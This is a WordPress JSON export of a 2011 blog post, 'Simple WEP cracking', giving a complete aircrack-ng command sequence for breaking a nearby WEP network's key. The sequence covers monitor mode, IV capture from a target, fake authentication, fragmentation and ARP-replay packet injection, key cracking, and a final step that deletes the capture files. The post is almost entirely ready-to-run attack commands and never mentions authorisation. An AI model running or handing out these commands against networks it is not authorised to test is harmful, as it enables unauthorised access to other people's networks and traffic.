{"id":22,"date":"2011-05-19T21:37:09","date_gmt":"2011-05-19T20:37:09","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=22"},"modified":"2011-07-14T11:23:15","modified_gmt":"2011-07-14T10:23:15","slug":"simple-wep-cracking","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/05\/19\/simple-wep-cracking\/","title":{"rendered":"Simple WEP cracking"},"content":{"rendered":"<p>Run the following in the first terminal window to create an interface in monitor mode called mon0 of interface wlan0<br \/>\nThe second command shows WEP encrypted networks nearby<br \/>\nThe third command starts capturing traffic from your target<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/><\/div><\/td><td><div class=\"bash codecolorer\">airmon-ng start wlan0 <span class=\"co0\">#create interface man0 in monitor mode of wlan0<\/span><br \/>\nairodump-ng <span class=\"re5\">--encrypt<\/span> WEP mon0 <span class=\"co0\">#shows APs with WEP only<\/span><br \/>\nairodump-ng <span class=\"re5\">-c<\/span> <span class=\"br0\">&#91;<\/span>channel<span class=\"br0\">&#93;<\/span> <span class=\"re5\">--bssid<\/span> <span class=\"br0\">&#91;<\/span>mac_of_ap<span class=\"br0\">&#93;<\/span> <span class=\"re5\">--ivs<\/span> <span class=\"re5\">-w<\/span> <span class=\"br0\">&#91;<\/span>filename<span class=\"br0\">&#93;<\/span> mon0<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Now open a second terminal and run the following<br \/>\nThe first line associates you with the mac (see terminal window 1)<br \/>\nThe second line looks for an IV that you can replay.<br \/>\nThe third line creates a packet that you replay in the fourth line<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/><\/div><\/td><td><div class=\"bash codecolorer\">aireplay-ng <span class=\"re5\">-1<\/span> <span class=\"nu0\">0<\/span> <span class=\"re5\">-a<\/span> <span class=\"br0\">&#91;<\/span>mac_of_ap<span class=\"br0\">&#93;<\/span> <span class=\"re5\">-h<\/span> <span class=\"br0\">&#91;<\/span>mac_of_wificard<span class=\"br0\">&#93;<\/span> wlan0<br \/>\naireplay-ng <span class=\"re5\">-5<\/span> <span class=\"re5\">-b<\/span> <span class=\"br0\">&#91;<\/span>mac_of_ap<span class=\"br0\">&#93;<\/span> <span class=\"re5\">-h<\/span> <span class=\"br0\">&#91;<\/span>mac_of_wificard<span class=\"br0\">&#93;<\/span> wlan0 <span class=\"co0\">#answer Y to prompt<\/span><br \/>\npacketforge-ng <span class=\"re5\">-0<\/span> <span class=\"re5\">-a<\/span> <span class=\"br0\">&#91;<\/span>mac_of_ap<span class=\"br0\">&#93;<\/span> <span class=\"re5\">-h<\/span> <span class=\"br0\">&#91;<\/span>mac_of_wificard<span class=\"br0\">&#93;<\/span> <span class=\"re5\">-k<\/span> 255.255.255.255 <span class=\"re5\">-l<\/span> 255.255.255.255 <span class=\"re5\">-y<\/span> <span class=\"sy0\">*<\/span>.xor <span class=\"re5\">-w<\/span> arp-packet wlan0<br \/>\naireplay-ng <span class=\"re5\">-2<\/span> <span class=\"re5\">-r<\/span> arp-packet wlan0 <span class=\"co0\">#answer Y to prompt<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Watch those packets fly up in reminal window 1!!!!<br \/>\nOpen a new terminal window and run the following to start cracking<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"bash codecolorer\">aircrack-ng <span class=\"re5\">-n<\/span> <span class=\"nu0\">128<\/span> <span class=\"re5\">-b<\/span> <span class=\"br0\">&#91;<\/span>mac_of_ap<span class=\"br0\">&#93;<\/span> <span class=\"sy0\">*<\/span>.ivs<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Remember to clean up your crap once you have finished<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"kw2\">rm<\/span> <span class=\"sy0\">*<\/span>.ivs <span class=\"sy0\">*<\/span>.cap <span class=\"sy0\">*<\/span>.xor<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>And to simplify this i&#8217;ve made a bash script, see the apps page.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Run the following in the first terminal window to create an interface in monitor mode called mon0 of interface wlan0 The second command shows WEP encrypted networks nearby The third command starts capturing traffic from your target 123airmon-ng start wlan0 #create interface man0 in monitor mode of wlan0 airodump-ng &#8211;encrypt WEP mon0 #shows APs with [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,4],"tags":[28,29,5,24,25],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/22"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=22"}],"version-history":[{"count":11,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/22\/revisions"}],"predecessor-version":[{"id":191,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/22\/revisions\/191"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=22"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=22"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}